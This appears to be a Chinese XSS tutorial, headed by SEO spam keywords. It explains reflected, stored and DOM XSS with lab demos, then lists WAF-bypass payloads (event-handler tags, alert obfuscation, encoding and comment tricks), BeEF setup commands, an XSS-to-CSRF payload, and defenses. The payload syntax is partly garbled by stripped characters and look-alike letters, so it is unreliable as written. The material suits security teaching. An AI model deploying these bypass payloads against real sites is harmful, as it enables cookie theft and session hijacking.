做业务不花钱的网站有哪些,wordpress5.03下载,wordpress pdf 显示不了,光明做网站1.XSS漏洞基础
1.1.漏洞成因
XSS(Cross-site scripting)被称为跨站脚本攻击#xff0c;由于与层叠样式表的缩写一样#xff0c;因此被缩写为XSS.XSS漏洞形成的原因是网站/程序对前端用户的输入过滤不严格#xff0c;导致攻击者可以将恶意的is/html代码注入到网页中#x…1.XSS漏洞基础
1.1.漏洞成因
XSS(Cross-site scripting)被称为跨站脚本攻击由于与层叠样式表的缩写一样因此被缩写为XSS.XSS漏洞形成的原因是网站/程序对前端用户的输入过滤不严格导致攻击者可以将恶意的is/html代码注入到网页中当其他用户浏览这些页面时就会执行其中的恶意代码。
1.2利用方式
利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中使用户浏览器加载并执行恶意代码通常是JavaScript
类型也包括iava、vbs、flash、html等。
1.3执行方式
用户浏览被XSS注入过的网页浏览器就会解析这段代码就被攻击了。因为浏览器当中有JavaScript解析器浏览器不会判断代码是否
恶意只要符合语法规则就直接解析了。
1.4攻击对象
客户端攻击对象大多为用户网站管理员。
还有微博网页留言板聊天室等收集用户输入的地方.。
2.漏洞危害
网络钓鱼盗取各种用户账户窃取用户的cookies资料从而获取用户隐私信息。弹出广告页面获取相关利益。劫持用户会话执行任意操作。传播蠕虫病毒。
3.XSS漏洞挖掘
3.1可能存在XSS的漏洞页面
高风险:评论区、留言区、个人信息修改、订单信息等中风险:站内信、通信、私信、反馈等。低风险:搜索框、UR、图片属性等。
3.2黑盒测试
通过查找一切用户可以输入并且控制输出到页面代码中的地方例如:URL中的参数、URL链接、表单
输入框、评论区、个人信息修改等。
当在测试页面上提交以下代码浏览器执行之后会出现弹窗这是为了验证js代码是否被执行代码被当做字符串输出在HTML页面上浏览器当中的JavaScript解析器会根据
scriptalert(/xss/)/script #比较常用
scriptconfirm(xss)/script
scriptprompt(xss)/script
3.3白盒测试
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。PHP中常见的接收参数的方式有$GET、$POST、$REQUEST等等可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪看看有没有输出到页面中然后看输出到页面中的数据是否进行了过滤和html编码等处理。
4.漏洞原理
4.1XSS分类
反射型存储型DOM型
4.2反射型XSS
4.2.1原理
反射型XSS也称作非持久型XSS、参数型跨站脚本。这类的跨站脚本最常见也是最广泛的一种主要用于将恶意脚本附加到URL的参数中诱导用户访问达到攻击的目的。这种类型的攻击通常发生在客户端上。
特点
非持久性 参数脚本 js代码在web应用的参数当中搜索框
数据流量浏览器----后端----浏览器
4.2.2攻击位置
用户登录入口、网站搜索框等
4.2.3演示
当用户进行搜索时返回结果通常包括用户的原始搜索内容如果攻击者精心构造包含XSS恶意代码的链接诱导用户点击并成功执行用户的信息就被窃取了甚至还可以模拟用户进行一些操作。
以pikachu靶场演示
直接尝试注入发现有长度限制 对长度进行修改后 注入scriptalert(1);/script 成功执行我们输入的JavaScript代码 4.3存储型XSS
4.3.1原理
存储型XSS是将攻击脚本永远嵌入某一个页面中当用户访问的时候就会触发执行从而用户受到相关的攻击。并目该类型的攻击主要发生在服务端所有用户访问该页面都将受到相应的攻击所以也称之为持久型XSS。攻击流程如下:
攻击者利用网站的一个表单将恶意字符串插入到网站数据库中。受害者向网站请求页面。网站在响应中引入恶意字符串并把它发给受害者。受害者浏览器执行响应中的恶意脚本并把受害者的cookies发给攻击者服务器。
特点
危害性最大持久的保存在服务器上 持久型XSS js代码不在某个参数中而是被写进了数据库或文件可以永久保存数据的介质中如留言板等。
数据流量走向浏览器—后端—数据库—后端—浏览器
4.3.2攻击位置
论坛、博客、留言板、评论区等交互区。
4.3.3演示 提交后每次访问这个页面就会触发我们注入的代码 4.4DOM型XSS
什么是DOM
DOM被称为文档对象模型是一个平台和语言的接口使得程序和脚本可以动态访问和更新文档的内容、结构和样式。DOM本身是一个表达XML文档的标准HTML文档从浏览器的角度来说就是XML文档有了这些技术之后就可以通过js轻松访问到他们。DOM会将XML文件的节点构建成树状结构以此反应XML文件本身的阶层结构。
4.3.1原理
客户端的脚本程序可以通过DOM动态地检查和修改页面内容。程序执行不依赖于服务器端的数据从客户端获得DOM中的数据并在本地执行。浏览器用户可以操纵DOM中的一些对象例如URL、location等。用户在客户端输入的数据如果包含了恶意is脚本而这些脚本没有经过适当的过滤应用程序就会受到基于DOM的XSS攻击。
这种XSS与反射型XSS、存储型XSS有着本质的区别它的攻击代码不需要服务器解析响应触发XSS依靠浏览器端的DOM解析
攻击流程:
攻击者构造一个包含恶意字符串的URL并发给受害者攻击者诱使受害者发起这个URL请求。网站收到请求但并没有在响应中引入该恶意字符串受害者浏览器执行响应中的合法脚本导致恶意脚本被插入到页面中。受害者浏览器执行插入到页面中的恶意脚本将受害者的cookies信息发给攻击者服务器 4.3.2攻击位置
4.3.3演示
观察标签可知提交的内容不会和后端进行交互直接传给前端。利用js的拼接符将提交的内容拼接到a标签中 因此可以想办法来对a标签的内容进行闭合使用事件来完成对DOM树的操作#οnclickalert(1),提交此内容后a标签中的内容形成闭合结果如下: 5.XSS平台使用
https://xss.yt/
xss测试平台,xss9.com
6.beef工具的使用
6.1在kali中打开beef
安装beef
apt-get update -y #更新仓库源
apt install -y beef-xss
使用教程Beefxss使用教程图文教程超详细_怎么把beef改成公网ip-CSDN博客
7.XSS绕过waf
7.1冷门标签
img标签定义HTML页面中的图像
img src1 οnerrοralert(1);oneror为当出现错误时候触发
img src1 οnerrοralert(xss); input标签规定了用户可以在其中输入数据的输入字段
input οnfοcusalert(1);//可用来绕过WAF onfocus焦点事件
input οnbluralert(1)autofocusinput autofocus//可用来绕过WAF
input οnfοcusalert(1);autofocus//可用来绕过WAF iframe标签创建包含另外一个文档的内联框架
iframe οnlοadalert(1);/iframe //可绕过WAF
video标签定义视频比如电影片段或其他视频流
videosource οnerrοralert(1)//可绕过WAF
audio标签定义声音比如音乐或其他音频流
audio srcx οnerrοralert(1);//可绕过WAF
7.2冷门事件
1.FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)
2.onAbort()(当用户中止加载图片时)
3.onActivate()(当对象激活时)
4.onAfterPrint()(用户打印或进行打印预览后触发)
5.onAfterUpdate()(从数据源对象更新数据后由数据对象触发)
6.onBeforeactivate()(在对象设置为激活元素前触发
7.onBeforecopy()(攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行
execCommand(copy)函数触发)
7.3等价函数替换
levell.php?namescriptconfirm(xss)/script
levell.php?namescriptprompt(xss)/script
levell.php?namescriptalert(xss)/script
7.4编码绕过
使用char编码Unicode编码url编码ASCII编码base64编码尝试绕过
7.5变型
1、imgl、img srcx:alert(alt)οnerrοreval(src) alt0
2、forma hrefjavascript:\u006llert(1)X
3、script x alert(1)/script 12
7.6alert混淆
(alert)(1)
aalert,a(1)
[1].find(alert)
a1\u0065rt(1)
7.7空格绕过
img srcjavascript:alert(xss);
img srcjava script:alert(xss);
7.8注释绕过
scriptalert()/script
scri!--1--ptalert()/sc!--1--ript
7.9字符拼接
利用eval:eval是Javascript内置函数用于计算字符串表达式的值
img srcxonerror a aler ;bt;c( xss );;eval(abc)
7.10js伪协议绕过
8.XSSCSRF利用
存储型XSS攻击代码中加入CSRF代码。
script srcxοnerrοrjavascript:window.open(http://localhost/csrf.html)/script
9.防御
白名单过滤白名单过滤通过允许放行的内容进行过滤这种情况下确实可以基本杜绝很多的XSS攻击但是在现实环境中可能会造成误拦截。黑名单过滤黑名单过滤是对相关关键字进行拦截黑名单输入可能杜绝绝大XSS攻击但是依旧存在被绕过的可能。http only属性在服务端中设置会话cookie的HTTP only属性这样客户端]S脚本就不能获取cookie信息,明确输入内容对用户输入的内容进行明确类型如个人信息电话、数字、密码、邮箱地址等都位置都过滤一些不符合的对不可信的内容都应该进行长度限制例如电话号码11位那么就设置11位这样虽然不能百分百防止XSS攻击但是可以增加XSS攻击实现的难度。添加验证码、开启相关防护软件、WAF软硬件。